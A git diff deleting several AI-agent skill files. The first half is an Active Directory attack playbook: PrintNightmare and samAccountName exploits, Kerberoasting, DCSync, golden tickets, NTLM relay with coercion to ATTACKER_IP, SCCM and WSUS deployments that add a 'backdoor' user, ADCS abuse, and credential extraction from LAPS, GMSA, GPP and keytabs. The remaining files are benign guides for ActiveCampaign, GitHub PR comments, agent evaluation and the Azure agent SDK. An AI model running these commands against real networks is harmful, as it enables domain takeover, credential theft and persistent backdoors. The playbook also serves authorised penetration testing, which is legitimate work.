-python3 CVE-2021-1675.py domain.local/user:pass@10.10.10.10 '\\attacker\share\evil.dll'
-```
-
-### samAccountName Spoofing (CVE-2021-42278/42287)
-
-```bash
-# Automated exploitation
-python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell
-```
-
----
-
-## Quick Reference
-
-| Attack | Tool | Command |
-|--------|------|---------|
-| Kerberoast | Impacket | `GetUserSPNs.py domain/user:pass -request` |
-| AS-REP Roast | Impacket | `GetNPUsers.py domain/ -usersfile users.txt` |
-| DCSync | secretsdump | `secretsdump.py domain/admin:pass@DC` |
-| Pass-the-Hash | psexec | `psexec.py domain/user@target -hashes :HASH` |
-| Golden Ticket | Mimikatz | `kerberos::golden /user:Admin /krbtgt:HASH` |
-| Spray | kerbrute | `kerbrute passwordspray -d domain users.txt Pass` |
-
----
-
-## Constraints
-
-**Must:**
-- Synchronize time with DC before Kerberos attacks
-- Have valid domain credentials for most attacks
-- Document all compromised accounts
-
-**Must Not:**
-- Lock out accounts with excessive password spraying
-- Modify production AD objects without approval
-- Leave Golden Tickets without documentation
-
-**Should:**
-- Run BloodHound for attack path discovery
-- Check for SMB signing before relay attacks
-- Verify patch levels for CVE exploitation
-
----
-
-## Examples
-
-### Example 1: Domain Compromise via Kerberoasting
-
-```bash
-# 1. Find service accounts with SPNs
-GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10
-
-# 2. Request TGS tickets
-GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt
-
-# 3. Crack tickets
-hashcat -m 13100 tgs.txt rockyou.txt
-
-# 4. Use cracked service account
-psexec.py domain.local/svc_admin:CrackedPassword@10.10.10.10
-```
-
-### Example 2: NTLM Relay to LDAP
-
-```bash
-# 1. Start relay targeting LDAP
-ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access
-
-# 2. Trigger authentication (e.g., via PrinterBug)
-python3 printerbug.py domain.local/user:pass@target 10.10.10.12
-
-# 3. Use created machine account for RBCD attack
-```
-
----
-
-## Troubleshooting
-
-| Issue | Solution |
-|-------|----------|
-| Clock skew too great | Sync time with DC or use faketime |
-| Kerberoasting returns empty | No service accounts with SPNs |
-| DCSync access denied | Need Replicating Directory Changes rights |
-| NTLM relay fails | Check SMB signing, try LDAP target |
-| BloodHound empty | Verify collector ran with correct creds |
-
----
-
-## Additional Resources
-
-For advanced techniques including delegation attacks, GPO abuse, RODC attacks, SCCM/WSUS deployment, ADCS exploitation, trust relationships, and Linux AD integration, see [references/advanced-attacks.md](references/advanced-attacks.md).
-
-## When to Use
-This skill is applicable to execute the workflow or actions described in the overview.
diff --git a/web-app/public/skills/active-directory-attacks/references/advanced-attacks.md b/web-app/public/skills/active-directory-attacks/references/advanced-attacks.md
deleted file mode 100644
index 2428ecf0..00000000
--- a/web-app/public/skills/active-directory-attacks/references/advanced-attacks.md
+++ /dev/null
@@ -1,382 +0,0 @@
-# Advanced Active Directory Attacks Reference
-
-## Table of Contents
-1. [Delegation Attacks](#delegation-attacks)
-2. [Group Policy Object Abuse](#group-policy-object-abuse)
-3. [RODC Attacks](#rodc-attacks)
-4. [SCCM/WSUS Deployment](#sccmwsus-deployment)
-5. [AD Certificate Services (ADCS)](#ad-certificate-services-adcs)
-6. [Trust Relationship Attacks](#trust-relationship-attacks)
-7. [ADFS Golden SAML](#adfs-golden-saml)
-8. [Credential Sources](#credential-sources)
-9. [Linux AD Integration](#linux-ad-integration)
-
----
-
-## Delegation Attacks
-
-### Unconstrained Delegation
-
-When a user authenticates to a computer with unconstrained delegation, their TGT is saved to memory.
-
-**Find Delegation:**
-```powershell
-# PowerShell
-Get-ADComputer -Filter {TrustedForDelegation -eq $True}
-
-# BloodHound
-MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
-```
-
-**SpoolService Abuse:**
-```bash
-# Check spooler service
-ls \\dc01\pipe\spoolss
-
-# Trigger with SpoolSample
-.\SpoolSample.exe DC01.domain.local HELPDESK.domain.local
-
-# Or with printerbug.py
-python3 printerbug.py 'domain/user:pass'@DC01 ATTACKER_IP
-```
-
-**Monitor with Rubeus:**
-```powershell
-Rubeus.exe monitor /interval:1
-```
-
-### Constrained Delegation
-
-**Identify:**
-```powershell
-Get-DomainComputer -TrustedToAuth | select -exp msds-AllowedToDelegateTo
-```
-
-**Exploit with Rubeus:**
-```powershell
-# S4U2 attack
-Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt
-```
-
-**Exploit with Impacket:**
-```bash
-getST.py -spn HOST/target.domain.local 'domain/user:password' -impersonate Administrator -dc-ip DC_IP
-```
-
-### Resource-Based Constrained Delegation (RBCD)
-
-```powershell
-# Create machine account
-New-MachineAccount -MachineAccount AttackerPC -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)
-
-# Set delegation
-Set-ADComputer target -PrincipalsAllowedToDelegateToAccount AttackerPC$
-
-# Get ticket
-.\Rubeus.exe s4u /user:AttackerPC$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt
-```
-
----
-
-## Group Policy Object Abuse
-
-### Find Vulnerable GPOs
-
-```powershell
-Get-DomainObjectAcl -Identity "SuperSecureGPO" -ResolveGUIDs | Where-Object {($_.ActiveDirectoryRights.ToString() -match "GenericWrite|WriteDacl|WriteOwner")}
-```
-
-### Abuse with SharpGPOAbuse
-
-```powershell
-# Add local admin
-.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount attacker --GPOName "Vulnerable GPO"
-
-# Add user rights
-.\SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount attacker --GPOName "Vulnerable GPO"
-
-# Add immediate task
-.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c net user backdoor Password123! /add" --GPOName "Vulnerable GPO"
-```
-
-### Abuse with pyGPOAbuse (Linux)
-
-```bash
-./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"
-```
-
----
-
-## RODC Attacks
-
-### RODC Golden Ticket
-
-RODCs contain filtered AD copy (excludes LAPS/Bitlocker keys). Forge tickets for principals in msDS-RevealOnDemandGroup.
-
-### RODC Key List Attack
-
-**Requirements:**
-- krbtgt credentials of the RODC (-rodcKey)
-- ID of the krbtgt account of the RODC (-rodcNo)
-
-```bash
-# Impacket keylistattack
-keylistattack.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -full
-
-# Using secretsdump with keylist
-secretsdump.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -use-keylist
-```
-
-**Using Rubeus:**
-```powershell
-Rubeus.exe golden /rodcNumber:25078 /aes256:RODC_AES256_KEY /user:Administrator /id:500 /domain:domain.local /sid:S-1-5-21-xxx
-```
-
----
-
-## SCCM/WSUS Deployment
-
-### SCCM Attack with MalSCCM
-
-```bash
-# Locate SCCM server
-MalSCCM.exe locate
-
-# Enumerate targets
-MalSCCM.exe inspect /all
-MalSCCM.exe inspect /computers
-
-# Create target group
-MalSCCM.exe group /create /groupname:TargetGroup /grouptype:device
-MalSCCM.exe group /addhost /groupname:TargetGroup /host:TARGET-PC
-
-# Create malicious app
-MalSCCM.exe app /create /name:backdoor /uncpath:"\\SCCM\SCCMContentLib$\evil.exe"
-
-# Deploy
-MalSCCM.exe app /deploy /name:backdoor /groupname:TargetGroup /assignmentname:update
-
-# Force checkin
-MalSCCM.exe checkin /groupname:TargetGroup
-
-# Cleanup
-MalSCCM.exe app /cleanup /name:backdoor
-MalSCCM.exe group /delete /groupname:TargetGroup
-```
-
-### SCCM Network Access Accounts
-
-```powershell
-# Find SCCM blob
-Get-Wmiobject -namespace "root\ccm\policy\Machine\ActualConfig" -class "CCM_NetworkAccessAccount"
-
-# Decrypt with SharpSCCM
-.\SharpSCCM.exe get naa -u USERNAME -p PASSWORD
-```
-
-### WSUS Deployment Attack
-
-```bash
-# Using SharpWSUS
-SharpWSUS.exe locate
-SharpWSUS.exe inspect
-
-# Create malicious update
-SharpWSUS.exe create /payload:"C:\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user backdoor Password123! /add\"" /title:"Critical Update"
-
-# Deploy to target
-SharpWSUS.exe approve /updateid:GUID /computername:TARGET.domain.local /groupname:"Demo Group"
-
-# Check status
-SharpWSUS.exe check /updateid:GUID /computername:TARGET.domain.local
-
-# Cleanup
-SharpWSUS.exe delete /updateid:GUID /computername:TARGET.domain.local /groupname:"Demo Group"
-```
-
----
-
-## AD Certificate Services (ADCS)
-
-### ESC1 - Misconfigured Templates
-
-Template allows ENROLLEE_SUPPLIES_SUBJECT with Client Authentication EKU.
-
-```bash
-# Find vulnerable templates
-certipy find -u user@domain.local -p password -dc-ip DC_IP -vulnerable
-
-# Request certificate as admin
-certipy req -u user@domain.local -p password -ca CA-NAME -target ca.domain.local -template VulnTemplate -upn administrator@domain.local
-
-# Authenticate
-certipy auth -pfx administrator.pfx -dc-ip DC_IP
-```
-
-### ESC4 - ACL Vulnerabilities
-
-```python
-# Check for WriteProperty
-python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -get-acl
-
-# Add ENROLLEE_SUPPLIES_SUBJECT flag
-python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -add CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
-
-# Perform ESC1, then restore
-python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -value 0 -property mspki-Certificate-Name-Flag
-```
-
-### ESC8 - NTLM Relay to Web Enrollment
-
-```bash
-# Start relay
-ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
-
-# Coerce authentication
-python3 petitpotam.py ATTACKER_IP DC_IP
-
-# Use certificate
-Rubeus.exe asktgt /user:DC$ /certificate:BASE64_CERT /ptt
-```
-
-### Shadow Credentials
-
-```bash
-# Add Key Credential (pyWhisker)
-python3 pywhisker.py -d "domain.local" -u "user1" -p "password" --target "TARGET" --action add
-
-# Get TGT with PKINIT
-python3 gettgtpkinit.py -cert-pfx "cert.pfx" -pfx-pass "password" "domain.local/TARGET" target.ccache
-
-# Get NT hash
-export KRB5CCNAME=target.ccache
-python3 getnthash.py -key 'AS-REP_KEY' domain.local/TARGET
-```
-
----
-
-## Trust Relationship Attacks
-
-### Child to Parent Domain (SID History)
-
-```powershell
-# Get Enterprise Admins SID from parent
-$ParentSID = "S-1-5-21-PARENT-DOMAIN-SID-519"
-
-# Create Golden Ticket with SID History
-kerberos::golden /user:Administrator /domain:child.parent.local /sid:S-1-5-21-CHILD-SID /krbtgt:KRBTGT_HASH /sids:$ParentSID /ptt
-```
-
-### Forest to Forest (Trust Ticket)
-
-```bash
-# Dump trust key
-lsadump::trust /patch
-
-# Forge inter-realm TGT
-kerberos::golden /domain:domain.local /sid:S-1-5-21-xxx /rc4:TRUST_KEY /user:Administrator /service:krbtgt /target:external.com /ticket:trust.kirbi
-
-# Use trust ticket
-.\Rubeus.exe asktgs /ticket:trust.kirbi /service:cifs/target.external.com /dc:dc.external.com /ptt
-```
-
----
-
-## ADFS Golden SAML
-
-**Requirements:**
-- ADFS service account access
-- Token signing certificate (PFX + decryption password)
-
-```bash
-# Dump with ADFSDump
-.\ADFSDump.exe
-
-# Forge SAML token
-python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.domain.local saml2 --endpoint https://target/saml --nameid administrator@domain.local
-```
-
----
-
-## Credential Sources
-
-### LAPS Password
-
-```powershell
-# PowerShell
-Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'
-
-# CrackMapExec
-crackmapexec ldap DC_IP -u user -p password -M laps
-```
-
-### GMSA Password
-
-```powershell
-# PowerShell + DSInternals
-$gmsa = Get-ADServiceAccount -Identity 'SVC_ACCOUNT' -Properties 'msDS-ManagedPassword'
-$mp = $gmsa.'msDS-ManagedPassword'
-ConvertFrom-ADManagedPasswordBlob $mp
-```
-
-```bash
-# Linux with bloodyAD
-python bloodyAD.py -u user -p password --host DC_IP getObjectAttributes gmsaAccount$ msDS-ManagedPassword
-```
-
-### Group Policy Preferences (GPP)
-
-```bash
-# Find in SYSVOL
-findstr /S /I cpassword \\domain.local\sysvol\domain.local\policies\*.xml
-
-# Decrypt
-python3 Get-GPPPassword.py -no-pass 'DC_IP'
-```
-
-### DSRM Credentials
-
-```powershell
-# Dump DSRM hash
-Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'
-
-# Enable DSRM admin logon
-Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2
-```
-
----
-
-## Linux AD Integration
-
-### CCACHE Ticket Reuse
-
-```bash
-# Find tickets
-ls /tmp/ | grep krb5cc
-
-# Use ticket
-export KRB5CCNAME=/tmp/krb5cc_1000
-```
-
-### Extract from Keytab
-
-```bash
-# List keys
-klist -k /etc/krb5.keytab
-
-# Extract with KeyTabExtract
-python3 keytabextract.py /etc/krb5.keytab
-```
-
-### Extract from SSSD
-
-```bash
-# Database location
-/var/lib/sss/secrets/secrets.ldb
-
-# Key location
-/var/lib/sss/secrets/.secrets.mkey
-
-# Extract
-python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
-```
diff --git a/web-app/public/skills/activecampaign-automation/SKILL.md b/web-app/public/skills/activecampaign-automation/SKILL.md
deleted file mode 100644
index a3c6d2cb..00000000
--- a/web-app/public/skills/activecampaign-automation/SKILL.md
+++ /dev/null
@@ -1,213 +0,0 @@
----
-name: activecampaign-automation
-description: "Automate ActiveCampaign tasks via Rube MCP (Composio): manage contacts, tags, list subscriptions, automation enrollment, and tasks. Always search tools first for current schemas."
-risk: unknown
-source: community
-date_added: "2026-02-27"
----
-
-# ActiveCampaign Automation via Rube MCP
-
-Automate ActiveCampaign CRM and marketing automation operations through Composio's ActiveCampaign toolkit via Rube MCP.
-
-## Prerequisites
-
-- Rube MCP must be connected (RUBE_SEARCH_TOOLS available)
-- Active ActiveCampaign connection via `RUBE_MANAGE_CONNECTIONS` with toolkit `active_campaign`
-- Always call `RUBE_SEARCH_TOOLS` first to get current tool schemas
-
-## Setup
-
-**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
-
-
-1. Verify Rube MCP is available by confirming `RUBE_SEARCH_TOOLS` responds
-2. Call `RUBE_MANAGE_CONNECTIONS` with toolkit `active_campaign`
-3. If connection is not ACTIVE, follow the returned auth link to complete ActiveCampaign authentication
-4. Confirm connection status shows ACTIVE before running any workflows
-
-## Core Workflows
-
-### 1. Create and Find Contacts
-
-**When to use**: User wants to create new contacts or look up existing ones
-
-**Tool sequence**:
-1. `ACTIVE_CAMPAIGN_FIND_CONTACT` - Search for an existing contact [Optional]
-2. `ACTIVE_CAMPAIGN_CREATE_CONTACT` - Create a new contact [Required]
-
-**Key parameters for find**:
-- `email`: Search by email address
-- `id`: Search by ActiveCampaign contact ID
-- `phone`: Search by phone number
-
-**Key parameters for create**:
-- `email`: Contact email address (required)
-- `first_name`: Contact first name
-- `last_name`: Contact last name
-- `phone`: Contact phone number
-- `organization_name`: Contact's organization
-- `job_title`: Contact's job title
-- `tags`: Comma-separated list of tags to apply
-
-**Pitfalls**:
-- `email` is the only required field for contact creation
-- Phone search uses a general search parameter internally; it may return partial matches
-- When combining `email` and `phone` in FIND_CONTACT, results are filtered client-side
-- Tags provided during creation are applied immediately
-- Creating a contact with an existing email may update the existing contact
-
-### 2. Manage Contact Tags
-
-**When to use**: User wants to add or remove tags from contacts
-
-**Tool sequence**:
-1. `ACTIVE_CAMPAIGN_FIND_CONTACT` - Find contact by email or ID [Prerequisite]
-2. `ACTIVE_CAMPAIGN_MANAGE_CONTACT_TAG` - Add or remove tags [Required]
-
-**Key parameters**:
-- `action`: 'Add' or 'Remove' (required)
-- `tags`: Tag names as comma-separated string or array of strings (required)
-- `contact_id`: Contact ID (provide this or contact_email)
-- `contact_email`: Contact email address (alternative to contact_id)
-
-**Pitfalls**:
-- `action` values are capitalized: 'Add' or 'Remove' (not lowercase)
-- Tags can be a comma-separated string ('tag1, tag2') or an array (['tag1', 'tag2'])
-- Either `contact_id` or `contact_email` must be provided; `contact_id` takes precedence
-- Adding a tag that does not exist creates it automatically
-- Removing a non-existent tag is a no-op (does not error)
-
-### 3. Manage List Subscriptions
-
-**When to use**: User wants to subscribe or unsubscribe contacts from lists
-
-**Tool sequence**:
-1. `ACTIVE_CAMPAIGN_FIND_CONTACT` - Find the contact [Prerequisite]
-2. `ACTIVE_CAMPAIGN_MANAGE_LIST_SUBSCRIPTION` - Subscribe or unsubscribe [Required]
-
-**Key parameters**:
-- `action`: 'subscribe' or 'unsubscribe' (required)
-- `list_id`: Numeric list ID string (required)
-- `email`: Contact email address (provide this or contact_id)
-- `contact_id`: Numeric contact ID string (alternative to email)
-
-**Pitfalls**:
-- `action` values are lowercase: 'subscribe' or 'unsubscribe'
-- `list_id` is a numeric string (e.g., '2'), not the list name
-- List IDs can be retrieved via the GET /api/3/lists endpoint (not available as a Composio tool; use the ActiveCampaign UI)
-- If both `email` and `contact_id` are provided, `contact_id` takes precedence
-- Unsubscribing changes status to '2' (unsubscribed) but the relationship record persists
-
-### 4. Add Contacts to Automations
-
-**When to use**: User wants to enroll a contact in an automation workflow
-
-**Tool sequence**:
-1. `ACTIVE_CAMPAIGN_FIND_CONTACT` - Verify contact exists [Prerequisite]
-2. `ACTIVE_CAMPAIGN_ADD_CONTACT_TO_AUTOMATION` - Enroll contact in automation [Required]
-
-**Key parameters**:
-- `contact_email`: Email of the contact to enroll (required)
-- `automation_id`: ID of the target automation (required)
-
-**Pitfalls**:
-- The contact must already exist in ActiveCampaign
-- Automations can only be created through the ActiveCampaign UI, not via API
-- `automation_id` must reference an existing, active automation
-- The tool performs a two-step process: lookup contact by email, then enroll
-- Automation IDs can be found in the ActiveCampaign UI or via GET /api/3/automations
-
-### 5. Create Contact Tasks
-
-**When to use**: User wants to create follow-up tasks associated with contacts
-
-**Tool sequence**:
-1. `ACTIVE_CAMPAIGN_FIND_CONTACT` - Find the contact to associate the task with [Prerequisite]
-2. `ACTIVE_CAMPAIGN_CREATE_CONTACT_TASK` - Create the task [Required]
-
-**Key parameters**:
-- `relid`: Contact ID to associate the task with (required)
-- `duedate`: Due date in ISO 8601 format with timezone (required, e.g., '2025-01-15T14:30:00-05:00')
-- `dealTasktype`: Task type ID based on available types (required)
-- `title`: Task title
-- `note`: Task description/content
-- `assignee`: User ID to assign the task to
-- `edate`: End date in ISO 8601 format (must be later than duedate)
-- `status`: 0 for incomplete, 1 for complete
-
-**Pitfalls**:
-- `duedate` must be a valid ISO 8601 datetime with timezone offset; do NOT use placeholder values
-- `edate` must be later than `duedate`
-- `dealTasktype` is a string ID referencing task types configured in ActiveCampaign
-- `relid` is the numeric contact ID, not the email address
-- `assignee` is a user ID; resolve user names to IDs via the ActiveCampaign UI
-
-## Common Patterns
-
-### Contact Lookup Flow
-
-```
-1. Call ACTIVE_CAMPAIGN_FIND_CONTACT with email
-2. If found, extract contact ID for subsequent operations
-3. If not found, create contact with ACTIVE_CAMPAIGN_CREATE_CONTACT
-4. Use contact ID for tags, subscriptions, or automations
-```
-
-### Bulk Contact Tagging
-
-```
-1. For each contact, call ACTIVE_CAMPAIGN_MANAGE_CONTACT_TAG
-2. Use contact_email to avoid separate lookup calls
-3. Batch with reasonable delays to respect rate limits
-```
-
-### ID Resolution
-
-**Contact email -> Contact ID**:
-```
-1. Call ACTIVE_CAMPAIGN_FIND_CONTACT with email
-2. Extract id from the response
-```
-
-## Known Pitfalls
-
-**Action Capitalization**:
-- Tag actions: 'Add', 'Remove' (capitalized)
-- Subscription actions: 'subscribe', 'unsubscribe' (lowercase)
-- Mixing up capitalization causes errors
-
-**ID Types**:
-- Contact IDs: numeric strings (e.g., '123')
-- List IDs: numeric strings
-- Automation IDs: numeric strings
-- All IDs should be passed as strings, not integers
-
-**Automations**:
-- Automations cannot be created via API; only enrollment is possible
-- Automation must be active to accept new contacts
-- Enrolling a contact already in the automation may have no effect
-
-**Rate Limits**:
-- ActiveCampaign API has rate limits per account
-- Implement backoff on 429 responses
-- Batch operations should be spaced appropriately
-
-**Response Parsing**:
-- Response data may be nested under `data` or `data.data`
-- Parse defensively with fallback patterns
-- Contact search may return multiple results; match by email for accuracy
-
-## Quick Reference
-
-| Task | Tool Slug | Key Params |
-|------|-----------|------------|
-| Find contact | ACTIVE_CAMPAIGN_FIND_CONTACT | email, id, phone |
-| Create contact | ACTIVE_CAMPAIGN_CREATE_CONTACT | email, first_name, last_name, tags |
-| Add/remove tags | ACTIVE_CAMPAIGN_MANAGE_CONTACT_TAG | action, tags, contact_email |
-| Subscribe/unsubscribe | ACTIVE_CAMPAIGN_MANAGE_LIST_SUBSCRIPTION | action, list_id, email |
-| Add to automation | ACTIVE_CAMPAIGN_ADD_CONTACT_TO_AUTOMATION | contact_email, automation_id |
-| Create task | ACTIVE_CAMPAIGN_CREATE_CONTACT_TASK | relid, duedate, dealTasktype, title |
-
-## When to Use
-This skill is applicable to execute the workflow or actions described in the overview.
diff --git a/web-app/public/skills/address-github-comments/SKILL.md b/web-app/public/skills/address-github-comments/SKILL.md
deleted file mode 100644
index f65e6724..00000000
--- a/web-app/public/skills/address-github-comments/SKILL.md
+++ /dev/null
@@ -1,61 +0,0 @@
----
-name: address-github-comments
-description: "Use when you need to address review or issue comments on an open GitHub Pull Request using the gh CLI."
-risk: unknown
-source: community
-date_added: "2026-02-27"
----
-
-# Address GitHub Comments
-
-## Overview
-
-Efficiently address PR review comments or issue feedback using the GitHub CLI (`gh`). This skill ensures all feedback is addressed systematically.
-
-## Prerequisites
-
-Ensure `gh` is authenticated.
-
-```bash
-gh auth status
-```
-
-If not logged in, run `gh auth login`.
-
-## Workflow
-
-### 1. Inspect Comments
-
-Fetch the comments for the current branch's PR.
-
-```bash
-gh pr view --comments
-```
-
-Or use a custom script if available to list threads.
-
-### 2. Categorize and Plan
-
-- List the comments and review threads.
-- Propose a fix for each.
-- **Wait for user confirmation** on which comments to address first if there are many.
-
-### 3. Apply Fixes
-
-Apply the code changes for the selected comments.
-
-### 4. Respond to Comments
-
-Once fixed, respond to the threads as resolved.
-
-```bash
-gh pr comment --body "Addressed in latest commit."
-```
-
-## Common Mistakes
-
-- **Applying fixes without understanding context**: Always read the surrounding code of a comment.
-- **Not verifying auth**: Check `gh auth status` before starting.
-
-## When to Use
-This skill is applicable to execute the workflow or actions described in the overview.
diff --git a/web-app/public/skills/agent-evaluation/SKILL.md b/web-app/public/skills/agent-evaluation/SKILL.md
deleted file mode 100644
index 36a97c1f..00000000
--- a/web-app/public/skills/agent-evaluation/SKILL.md
+++ /dev/null
@@ -1,69 +0,0 @@
----
-name: agent-evaluation
-description: "Testing and benchmarking LLM agents including behavioral testing, capability assessment, reliability metrics, and production monitoring\u2014where even top agents achieve less than 50% on re..."
-risk: unknown
-source: "vibeship-spawner-skills (Apache 2.0)"
-date_added: "2026-02-27"
----
-
-# Agent Evaluation
-
-You're a quality engineer who has seen agents that aced benchmarks fail spectacularly in
-production. You've learned that evaluating LLM agents is fundamentally different from
-testing traditional software—the same input can produce different outputs, and "correct"
-often has no single answer.
-
-You've built evaluation frameworks that catch issues before production: behavioral regression
-tests, capability assessments, and reliability metrics. You understand that the goal isn't
-100% test pass rate—it
-
-## Capabilities
-
-- agent-testing
-- benchmark-design
-- capability-assessment
-- reliability-metrics
-- regression-testing
-
-## Requirements
-
-- testing-fundamentals
-- llm-fundamentals
-
-## Patterns
-
-### Statistical Test Evaluation
-
-Run tests multiple times and analyze result distributions
-
-### Behavioral Contract Testing
-
-Define and test agent behavioral invariants
-
-### Adversarial Testing
-
-Actively try to break agent behavior
-
-## Anti-Patterns
-
-### ❌ Single-Run Testing
-
-### ❌ Only Happy Path Tests
-
-### ❌ Output String Matching
-
-## ⚠️ Sharp Edges
-
-| Issue | Severity | Solution |
-|-------|----------|----------|
-| Agent scores well on benchmarks but fails in production | high | // Bridge benchmark and production evaluation |
-| Same test passes sometimes, fails other times | high | // Handle flaky tests in LLM agent evaluation |
-| Agent optimized for metric, not actual task | medium | // Multi-dimensional evaluation to prevent gaming |
-| Test data accidentally used in training or prompts | critical | // Prevent data leakage in agent evaluation |
-
-## Related Skills
-
-Works well with: `multi-agent-orchestration`, `agent-communication`, `autonomous-agents`
-
-## When to Use
-This skill is applicable to execute the workflow or actions described in the overview.
diff --git a/web-app/public/skills/agent-framework-azure-ai-py/SKILL.md b/web-app/public/skills/agent-framework-azure-ai-py/SKILL.md
deleted file mode 100644
index 6407dea3..00000000
--- a/web-app/public/skills/agent-framework-azure-ai-py/SKILL.md
+++ /dev/null
@@ -1,338 +0,0 @@
----
-name: agent-framework-azure-ai-py
-description: "Build Azure AI Foundry agents using the Microsoft Agent Framework Python SDK (agent-framework-azure-ai). Use when creating persistent agents with AzureAIAgentsProvider, using hosted tools (code int..."
-risk: unknown
-source: community
-date_added: "2026-02-27"
----
-
-# Agent Framework Azure Hosted Agents
-
-Build persistent agents on Azure AI Foundry using the Microsoft Agent Framework Python SDK.
-
-## Architecture
-
-```
-User Query → AzureAIAgentsProvider → Azure AI Agent Service (Persistent)
- ↓
- Agent.run() / Agent.run_stream()
- ↓
- Tools: Functions | Hosted (Code/Search/Web) | MCP
- ↓
- AgentThread (conversation persistence)
-```
-
-## Installation
-
-```bash
-# Full framework (recommended)
-pip install agent-framework --pre
-
-# Or Azure-specific package only
-pip install agent-framework-azure-ai --pre
-```
-
-## Environment Variables
-
-```bash
-export AZURE_AI_PROJECT_ENDPOINT="https://.services.ai.azure.com/api/projects/"
-export AZURE_AI_MODEL_DEPLOYMENT_NAME="gpt-4o-mini"
-export BING_CONNECTION_ID="your-bing-connection-id" # For web search
-```
-
-## Authentication
-
-```python
-from azure.identity.aio import AzureCliCredential, DefaultAzureCredential
-
-# Development
-credential = AzureCliCredential()
-
-# Production
-credential = DefaultAzureCredential()
-```
-
-## Core Workflow
-
-### Basic Agent
-
-```python
-import asyncio
-from agent_framework.azure import AzureAIAgentsProvider
-from azure.identity.aio import AzureCliCredential
-
-async def main():
- async with (
- AzureCliCredential() as credential,
- AzureAIAgentsProvider(credential=credential) as provider,
- ):
- agent = await provider.create_agent(
- name="MyAgent",
- instructions="You are a helpful assistant.",
- )
-
- result = await agent.run("Hello!")
- print(result.text)
-
-asyncio.run(main())
-```
-
-### Agent with Function Tools
-
-```python
-from typing import Annotated
-from pydantic import Field
-from agent_framework.azure import AzureAIAgentsProvider
-from azure.identity.aio import AzureCliCredential
-
-def get_weather(
- location: Annotated[str, Field(description="City name to get weather for")],
-) -> str:
- """Get the current weather for a location."""
- return f"Weather in {location}: 72°F, sunny"
-
-def get_current_time() -> str:
- """Get the current UTC time."""
- from datetime import datetime, timezone
- return datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M:%S UTC")
-
-async def main():
- async with (
- AzureCliCredential() as credential,
- AzureAIAgentsProvider(credential=credential) as provider,
- ):
- agent = await provider.create_agent(
- name="WeatherAgent",
- instructions="You help with weather and time queries.",
- tools=[get_weather, get_current_time], # Pass functions directly
- )
-
- result = await agent.run("What's the weather in Seattle?")
- print(result.text)
-```
-
-### Agent with Hosted Tools
-
-```python
-from agent_framework import (
- HostedCodeInterpreterTool,
- HostedFileSearchTool,
- HostedWebSearchTool,
-)
-from agent_framework.azure import AzureAIAgentsProvider
-from azure.identity.aio import AzureCliCredential
-
-async def main():
- async with (
- AzureCliCredential() as credential,
- AzureAIAgentsProvider(credential=credential) as provider,
- ):
- agent = await provider.create_agent(
- name="MultiToolAgent",
- instructions="You can execute code, search files, and search the web.",
- tools=[
- HostedCodeInterpreterTool(),
- HostedWebSearchTool(name="Bing"),
- ],
- )
-
- result = await agent.run("Calculate the factorial of 20 in Python")
- print(result.text)
-```
-
-### Streaming Responses
-
-```python
-async def main():
- async with (
- AzureCliCredential() as credential,
- AzureAIAgentsProvider(credential=credential) as provider,
- ):
- agent = await provider.create_agent(
- name="StreamingAgent",
- instructions="You are a helpful assistant.",
- )
-
- print("Agent: ", end="", flush=True)
- async for chunk in agent.run_stream("Tell me a short story"):
- if chunk.text:
- print(chunk.text, end="", flush=True)
- print()
-```
-
-### Conversation Threads
-
-```python
-from agent_framework.azure import AzureAIAgentsProvider
-from azure.identity.aio import AzureCliCredential
-
-async def main():
- async with (
- AzureCliCredential() as credential,
- AzureAIAgentsProvider(credential=credential) as provider,
- ):
- agent = await provider.create_agent(
- name="ChatAgent",
- instructions="You are a helpful assistant.",
- tools=[get_weather],
- )
-
- # Create thread for conversation persistence
- thread = agent.get_new_thread()
-
- # First turn
- result1 = await agent.run("What's the weather in Seattle?", thread=thread)
- print(f"Agent: {result1.text}")
-
- # Second turn - context is maintained
- result2 = await agent.run("What about Portland?", thread=thread)
- print(f"Agent: {result2.text}")
-
- # Save thread ID for later resumption
- print(f"Conversation ID: {thread.conversation_id}")
-```
-
-### Structured Outputs
-
-```python
-from pydantic import BaseModel, ConfigDict
-from agent_framework.azure import AzureAIAgentsProvider
-from azure.identity.aio import AzureCliCredential
-
-class WeatherResponse(BaseModel):
- model_config = ConfigDict(extra="forbid")
-
- location: str
- temperature: float
- unit: str
- conditions: str
-
-async def main():
- async with (
- AzureCliCredential() as credential,
